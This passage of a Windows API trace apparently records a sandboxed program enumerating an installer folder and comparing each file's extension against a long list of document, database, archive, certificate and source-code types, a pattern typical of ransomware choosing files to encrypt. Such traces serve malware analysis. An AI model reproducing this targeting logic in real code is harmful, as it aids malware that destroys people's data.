	[0070.222] lstrlenW (lpString=".lgp") returned 4
	[0070.222] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1
	[0070.222] lstrlenW (lpString=".log") returned 4
	[0070.222] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1
	[0070.222] lstrlenW (lpString=".m1v") returned 4
	[0070.222] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1
	[0070.222] lstrlenW (lpString=".m4a") returned 4
	[0070.222] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1
	[0070.222] lstrlenW (lpString=".m4v") returned 4
	[0070.222] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1
	[0070.222] lstrlenW (lpString=".max") returned 4
	[0070.222] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1
	[0070.222] lstrlenW (lpString=".md") returned 3
	[0070.222] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1
	[0070.222] lstrlenW (lpString=".mda") returned 4
	[0070.222] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1
	[0070.222] lstrlenW (lpString=".mdb") returned 4
	[0070.222] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1
	[0070.222] lstrlenW (lpString=".mde") returned 4
	[0070.222] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1
	[0070.223] lstrlenW (lpString=".mdf") returned 4
	[0070.223] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1
	[0070.223] lstrlenW (lpString=".mdw") returned 4
	[0070.223] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1
	[0070.223] lstrlenW (lpString=".mef") returned 4
	[0070.223] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1
	[0070.223] lstrlenW (lpString=".mft") returned 4
	[0070.223] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1
	[0070.223] lstrlenW (lpString=".mfw") returned 4
	[0070.223] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1
	[0070.223] lstrlenW (lpString=".mht") returned 4
	[0070.223] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1
	[0070.223] lstrlenW (lpString=".mhtml") returned 6
	[0070.223] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1
	[0070.223] lstrlenW (lpString=".mka") returned 4
	[0070.223] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1
	[0070.223] lstrlenW (lpString=".mkidx") returned 6
	[0070.223] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1
	[0070.223] lstrlenW (lpString=".mkv") returned 4
	[0070.223] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1
	[0070.223] lstrlenW (lpString=".mos") returned 4
	[0070.223] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1
	[0070.223] lstrlenW (lpString=".mov") returned 4
	[0070.223] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1
	[0070.223] lstrlenW (lpString=".mp3") returned 4
	[0070.223] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1
	[0070.223] lstrlenW (lpString=".mp4") returned 4
	[0070.223] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1
	[0070.223] lstrlenW (lpString=".mpeg") returned 5
	[0070.223] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1
	[0070.223] lstrlenW (lpString=".mpg") returned 4
	[0070.223] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1
	[0070.223] lstrlenW (lpString=".mpv") returned 4
	[0070.223] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1
	[0070.223] lstrlenW (lpString=".mrw") returned 4
	[0070.223] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1
	[0070.223] lstrlenW (lpString=".msg") returned 4
	[0070.224] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1
	[0070.224] lstrlenW (lpString=".mxl") returned 4
	[0070.224] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1
	[0070.224] lstrlenW (lpString=".myd") returned 4
	[0070.224] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1
	[0070.224] lstrlenW (lpString=".myi") returned 4
	[0070.224] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1
	[0070.224] lstrlenW (lpString=".nef") returned 4
	[0070.224] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1
	[0070.224] lstrlenW (lpString=".nrw") returned 4
	[0070.224] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1
	[0070.224] lstrlenW (lpString=".obj") returned 4
	[0070.224] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1
	[0070.224] lstrlenW (lpString=".odb") returned 4
	[0070.224] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1
	[0070.224] lstrlenW (lpString=".odc") returned 4
	[0070.224] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1
	[0070.224] lstrlenW (lpString=".odm") returned 4
	[0070.224] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1
	[0070.224] lstrlenW (lpString=".odp") returned 4
	[0070.224] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1
	[0070.224] lstrlenW (lpString=".ods") returned 4
	[0070.224] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1
	[0070.224] lstrlenW (lpString=".oft") returned 4
	[0070.224] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1
	[0070.224] lstrlenW (lpString=".one") returned 4
	[0070.224] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1
	[0070.224] lstrlenW (lpString=".onepkg") returned 7
	[0070.224] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1
	[0070.224] lstrlenW (lpString=".onetoc2") returned 8
	[0070.224] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1
	[0070.224] lstrlenW (lpString=".opt") returned 4
	[0070.224] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1
	[0070.224] lstrlenW (lpString=".oqy") returned 4
	[0070.224] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1
	[0070.225] lstrlenW (lpString=".orf") returned 4
	[0070.225] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1
	[0070.225] lstrlenW (lpString=".p12") returned 4
	[0070.225] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1
	[0070.225] lstrlenW (lpString=".p7b") returned 4
	[0070.225] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1
	[0070.225] lstrlenW (lpString=".p7c") returned 4
	[0070.225] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1
	[0070.225] lstrlenW (lpString=".pam") returned 4
	[0070.225] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1
	[0070.225] lstrlenW (lpString=".pbm") returned 4
	[0070.225] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1
	[0070.225] lstrlenW (lpString=".pct") returned 4
	[0070.225] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1
	[0070.225] lstrlenW (lpString=".pcx") returned 4
	[0070.225] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1
	[0070.225] lstrlenW (lpString=".pdd") returned 4
	[0070.225] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1
	[0070.225] lstrlenW (lpString=".pdf") returned 4
	[0070.225] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0070.225] lstrlenW (lpString=".pdp") returned 4
	[0070.225] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1
	[0070.225] lstrlenW (lpString=".pef") returned 4
	[0070.225] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1
	[0070.225] lstrlenW (lpString=".pem") returned 4
	[0070.225] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1
	[0070.225] lstrlenW (lpString=".pff") returned 4
	[0070.225] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1
	[0070.225] lstrlenW (lpString=".pfm") returned 4
	[0070.225] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1
	[0070.225] lstrlenW (lpString=".pfx") returned 4
	[0070.225] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1
	[0070.225] lstrlenW (lpString=".pgm") returned 4
	[0070.225] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1
	[0070.225] lstrlenW (lpString=".php") returned 4
	[0070.225] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1
	[0070.225] lstrlenW (lpString=".php3") returned 5
	[0070.225] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1
	[0070.226] lstrlenW (lpString=".php4") returned 5
	[0070.226] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1
	[0070.226] lstrlenW (lpString=".php5") returned 5
	[0070.226] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1
	[0070.226] lstrlenW (lpString=".phtml") returned 6
	[0070.226] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1
	[0070.226] lstrlenW (lpString=".pict") returned 5
	[0070.226] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1
	[0070.226] lstrlenW (lpString=".pl") returned 3
	[0070.226] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1
	[0070.226] lstrlenW (lpString=".pls") returned 4
	[0070.226] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1
	[0070.226] lstrlenW (lpString=".pm") returned 3
	[0070.226] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1
	[0070.226] lstrlenW (lpString=".png") returned 4
	[0070.226] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1
	[0070.226] lstrlenW (lpString=".pnm") returned 4
	[0070.226] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1
	[0070.226] lstrlenW (lpString=".pot") returned 4
	[0070.226] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1
	[0070.226] lstrlenW (lpString=".potm") returned 5
	[0070.226] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1
	[0070.226] lstrlenW (lpString=".potx") returned 5
	[0070.226] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1
	[0070.226] lstrlenW (lpString=".ppa") returned 4
	[0070.226] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1
	[0070.226] lstrlenW (lpString=".ppam") returned 5
	[0070.226] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1
	[0070.226] lstrlenW (lpString=".ppm") returned 4
	[0070.226] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1
	[0070.226] lstrlenW (lpString=".pps") returned 4
	[0070.226] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1
	[0070.226] lstrlenW (lpString=".ppsm") returned 5
	[0070.226] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1
	[0070.226] lstrlenW (lpString=".ppt") returned 4
	[0070.226] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0070.226] lstrlenW (lpString=".pptm") returned 5
	[0070.227] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1
	[0070.227] lstrlenW (lpString=".pptx") returned 5
	[0070.227] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1
	[0070.227] lstrlenW (lpString=".prn") returned 4
	[0070.227] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1
	[0070.227] lstrlenW (lpString=".ps") returned 3
	[0070.227] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1
	[0070.227] lstrlenW (lpString=".psb") returned 4
	[0070.227] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1
	[0070.227] lstrlenW (lpString=".psd") returned 4
	[0070.227] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1
	[0070.227] lstrlenW (lpString=".pst") returned 4
	[0070.227] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1
	[0070.227] lstrlenW (lpString=".ptx") returned 4
	[0070.227] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1
	[0070.227] lstrlenW (lpString=".pub") returned 4
	[0070.227] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1
	[0070.227] lstrlenW (lpString=".pwm") returned 4
	[0070.227] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1
	[0070.227] lstrlenW (lpString=".pxr") returned 4
	[0070.227] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1
	[0070.227] lstrlenW (lpString=".py") returned 3
	[0070.227] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1
	[0070.227] lstrlenW (lpString=".qt") returned 3
	[0070.227] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1
	[0070.227] lstrlenW (lpString=".r3d") returned 4
	[0070.227] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1
	[0070.227] lstrlenW (lpString=".raf") returned 4
	[0070.227] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1
	[0070.227] lstrlenW (lpString=".rar") returned 4
	[0070.227] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0070.227] FindNextFileW (in: hFindFile=0x3121590, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x10a82, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0070.228] FindNextFileW (in: hFindFile=0x3121590, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0070.228] FindNextFileW (in: hFindFile=0x3121590, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0070.228] FindClose (in: hFindFile=0x3121590 | out: hFindFile=0x3121590) returned 1
	[0070.228] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3110958 | out: hHeap=0x500000) returned 1
	[0070.228] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1042", cAlternateFileName="")) returned 1
	[0070.228] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3110958
	[0070.228] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042") returned 26
	[0070.228] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3121210
	[0070.228] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.228] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x318f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0070.229] lstrlenW (lpString="eula.rtf") returned 8
	[0070.229] lstrlenW (lpString=".1cd") returned 4
	[0070.229] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0070.229] lstrlenW (lpString=".3ds") returned 4
	[0070.229] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1
	[0070.229] lstrlenW (lpString=".3fr") returned 4
	[0070.229] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1
	[0070.229] lstrlenW (lpString=".3g2") returned 4
	[0070.229] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1
	[0070.229] lstrlenW (lpString=".3gp") returned 4
	[0070.229] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1
	[0070.229] lstrlenW (lpString=".7z") returned 3
	[0070.229] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0070.229] lstrlenW (lpString=".accda") returned 6
	[0070.229] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1
	[0070.229] lstrlenW (lpString=".accdb") returned 6
	[0070.229] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1
	[0070.229] lstrlenW (lpString=".accdc") returned 6
	[0070.229] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1
	[0070.229] lstrlenW (lpString=".accde") returned 6
	[0070.229] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1
	[0070.229] lstrlenW (lpString=".accdt") returned 6
	[0070.229] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1
	[0070.229] lstrlenW (lpString=".accdw") returned 6
	[0070.229] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1
	[0070.229] lstrlenW (lpString=".adb") returned 4
	[0070.229] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1
	[0070.229] lstrlenW (lpString=".adp") returned 4
	[0070.229] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1
	[0070.229] lstrlenW (lpString=".ai") returned 3
	[0070.229] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1
	[0070.229] lstrlenW (lpString=".ai3") returned 4
	[0070.229] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1
	[0070.230] lstrlenW (lpString=".ai4") returned 4
	[0070.230] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1
	[0070.230] lstrlenW (lpString=".ai5") returned 4
	[0070.230] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1
	[0070.230] lstrlenW (lpString=".ai6") returned 4
	[0070.230] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1
	[0070.230] lstrlenW (lpString=".ai7") returned 4
	[0070.230] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1
	[0070.230] lstrlenW (lpString=".ai8") returned 4
	[0070.230] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1
	[0070.230] lstrlenW (lpString=".anim") returned 5
	[0070.230] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1
	[0070.230] lstrlenW (lpString=".arw") returned 4
	[0070.230] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1
	[0070.230] lstrlenW (lpString=".as") returned 3
	[0070.230] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1
	[0070.230] lstrlenW (lpString=".asa") returned 4
	[0070.230] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1
	[0070.230] lstrlenW (lpString=".asc") returned 4
	[0070.230] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1
	[0070.230] lstrlenW (lpString=".ascx") returned 5
	[0070.230] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1
	[0070.230] lstrlenW (lpString=".asm") returned 4
	[0070.230] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1
	[0070.230] lstrlenW (lpString=".asmx") returned 5
	[0070.230] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1
	[0070.230] lstrlenW (lpString=".asp") returned 4
	[0070.230] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1
	[0070.230] lstrlenW (lpString=".aspx") returned 5
	[0070.230] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1
	[0070.230] lstrlenW (lpString=".asr") returned 4
	[0070.230] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1
	[0070.230] lstrlenW (lpString=".asx") returned 4
	[0070.230] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1
	[0070.230] lstrlenW (lpString=".avi") returned 4
	[0070.230] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1
	[0070.231] lstrlenW (lpString=".avs") returned 4
	[0070.231] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1
	[0070.231] lstrlenW (lpString=".backup") returned 7
	[0070.231] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1
	[0070.231] lstrlenW (lpString=".bak") returned 4
	[0070.231] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1
	[0070.231] lstrlenW (lpString=".bay") returned 4
	[0070.231] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1
	[0070.231] lstrlenW (lpString=".bd") returned 3
	[0070.231] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1
	[0070.231] lstrlenW (lpString=".bin") returned 4
	[0070.231] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1
	[0070.231] lstrlenW (lpString=".bmp") returned 4
	[0070.231] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1
	[0070.231] lstrlenW (lpString=".bz2") returned 4
	[0070.231] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0070.231] lstrlenW (lpString=".c") returned 2
	[0070.231] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1
	[0070.231] lstrlenW (lpString=".cdr") returned 4
	[0070.231] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1
	[0070.231] lstrlenW (lpString=".cer") returned 4
	[0070.231] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1
	[0070.231] lstrlenW (lpString=".cf") returned 3
	[0070.231] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1
	[0070.231] lstrlenW (lpString=".cfc") returned 4
	[0070.231] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1
	[0070.231] lstrlenW (lpString=".cfm") returned 4
	[0070.231] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1
	[0070.231] lstrlenW (lpString=".cfml") returned 5
	[0070.231] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1
	[0070.231] lstrlenW (lpString=".cfu") returned 4
	[0070.231] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1
	[0070.231] lstrlenW (lpString=".chm") returned 4
	[0070.231] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1
	[0070.231] lstrlenW (lpString=".cin") returned 4
	[0070.231] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1
	[0070.231] lstrlenW (lpString=".class") returned 6
	[0070.232] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1
	[0070.232] lstrlenW (lpString=".clx") returned 4
	[0070.232] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1
	[0070.232] lstrlenW (lpString=".config") returned 7
	[0070.232] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1
	[0070.232] lstrlenW (lpString=".cpp") returned 4
	[0070.232] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1
	[0070.232] lstrlenW (lpString=".cr2") returned 4
	[0070.232] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1
	[0070.232] lstrlenW (lpString=".crt") returned 4
	[0070.232] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1
	[0070.232] lstrlenW (lpString=".crw") returned 4
	[0070.232] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1
	[0070.232] lstrlenW (lpString=".cs") returned 3
	[0070.232] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1
	[0070.232] lstrlenW (lpString=".css") returned 4
	[0070.232] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1
	[0070.232] lstrlenW (lpString=".csv") returned 4
	[0070.232] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1
	[0070.232] lstrlenW (lpString=".cub") returned 4
	[0070.232] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1
	[0070.232] lstrlenW (lpString=".dae") returned 4
	[0070.232] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1
	[0070.232] lstrlenW (lpString=".dat") returned 4
	[0070.232] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1
	[0070.232] lstrlenW (lpString=".db") returned 3
	[0070.232] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1
	[0070.232] lstrlenW (lpString=".dbf") returned 4
	[0070.232] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0070.232] lstrlenW (lpString=".dbx") returned 4
	[0070.232] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1
	[0070.232] lstrlenW (lpString=".dc3") returned 4
	[0070.232] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1
	[0070.232] lstrlenW (lpString=".dcm") returned 4
	[0070.232] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1
	[0070.232] lstrlenW (lpString=".dcr") returned 4
	[0070.232] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1
	[0070.233] lstrlenW (lpString=".der") returned 4
	[0070.233] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1
	[0070.233] lstrlenW (lpString=".dib") returned 4
	[0070.233] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1
	[0070.233] lstrlenW (lpString=".dic") returned 4
	[0070.233] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1
	[0070.233] lstrlenW (lpString=".dif") returned 4
	[0070.233] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1
	[0070.233] lstrlenW (lpString=".divx") returned 5
	[0070.233] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1
	[0070.233] lstrlenW (lpString=".djvu") returned 5
	[0070.233] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1
	[0070.233] lstrlenW (lpString=".dng") returned 4
	[0070.233] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1
	[0070.233] lstrlenW (lpString=".doc") returned 4
	[0070.233] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0070.233] lstrlenW (lpString=".docm") returned 5
	[0070.233] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1
	[0070.233] lstrlenW (lpString=".docx") returned 5
	[0070.233] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0070.233] lstrlenW (lpString=".dot") returned 4
	[0070.233] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1
	[0070.233] lstrlenW (lpString=".dotm") returned 5
	[0070.233] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1
	[0070.233] lstrlenW (lpString=".dotx") returned 5
	[0070.233] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1
	[0070.233] lstrlenW (lpString=".dpx") returned 4
